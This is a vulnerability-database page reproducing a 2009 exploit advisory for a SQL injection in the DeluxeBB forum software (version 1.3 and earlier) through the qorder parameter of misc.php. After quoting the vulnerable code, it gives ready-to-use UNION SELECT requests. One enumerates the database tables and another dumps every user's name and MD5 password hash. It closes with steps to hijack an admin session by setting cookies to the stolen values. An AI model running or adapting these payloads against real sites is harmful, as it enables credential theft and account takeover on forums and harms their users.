Lucene search
K

DeluxeBB <= 1.3 (qorder) Remote SQL Injection Vulnerability

🗓️ 19 Mar 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

DeluxeBB <= 1.3 (qorder) Remote SQL Injection Vulnerability. SQL Injection in DeluxeBB 1.3 allows retrieval of usernames and password hashes

Code

                                                # Author:	girex
# Homepage:	girex.altervista.org
# Date:		18/03/2009

# CMS:		DeluxeBB 1.3 and prior
# site:		deluxebb.com

# NOTE: 	- Works regardless of php.ini settings
		
		- This SQL injection will shows you username and md5
		  of ALL registered users of the site.
		
		- This PoC was written for educational purpose. Use it at your own risk.
		  Author will be not responsible for any damage.

----------------------------------------------------------------------------------------

# Vuln description:
# DeluxeBB suffers many SQL Injections. They are caused, in part, by the extract() function
# used in header.php. I think this is a very bad practice. Attacker doesn't need
# register_globals turned On, and in this case that i'm showing you magic_quotes 
# turned Off too.

# file: misc.php    lines: 461-464

	if($order == &quot;name&quot;) { $qorder = &quot;ORDER BY username&quot;; }
	if($order == &quot;regdate&quot;) { $qorder = &quot;ORDER BY joineddate&quot;; }
	if($order == &quot;posts&quot;) { $qorder = &quot;ORDER BY posts&quot;; }
	if($order == &quot;lastpost&quot;) { $qorder = &quot;ORDER BY lastpost&quot;; }

# This sequence of if does not provide an else..

# file: misc.php    line: 490

	$getsel = $db-&gt;query(&quot;SELECT * FROM &quot;.$prefix.&quot;users &quot;.$qfilter.&quot; &quot;.$qorder.&quot;  &lt;==
		             &quot;.$sort.&quot; LIMIT &quot;.$pageinfo[0].&quot;,&quot;.$pageinfo[1]);

# An attacker can set an arbitrary value to the var $qorder if $order
# has a value not expected.

----------------------------------------------------------------------------------------

# PoC:
# I reccomend to use first of all this SQL Injection to retrieve all table's name
# of the database thanks to informatin_schema. You can use it to retrieve the table prefix
# of the CMS.

GET [target]/[path]/misc.php?sub=memberlist&amp;order=1&amp;
qorder=UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,table_name,16,17,18,19,20,21,22,23,24,25,26,27,28,29+
FROM+information_schema.tables%23&amp;sort=ASC&amp;filter=all&amp;searchuser=.&amp;submit=1

----------------------------------------------------------------------------------------

# Real PoC:
# This SQL Injection will shows you ALL usernames and password hashes of the CMS.

GET [target]/[path]/misc.php?sub=memberlist&amp;order=1&amp;
qorder=UNION+ALL+SELECT+uid,username,3,4,membercode,6,7,8,9,10,11,12,13,14,pass,16,17,18,19,20,21,22,23,24,25,26,27,28,29+
FROM+deluxebb_users%23&amp;sort=ASC&amp;filter=all&amp;searchuser=.&amp;submit=1

----------------------------------------------------------------------------------------

# NOTE: to get admin's access edit your cookies:

# memberid 	=&gt;   	victim's id
# membercookie  =&gt;	victim's username
# memberpw  	=&gt; 	victim's md5

----------------------------------------------------------------------------------------

girex
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation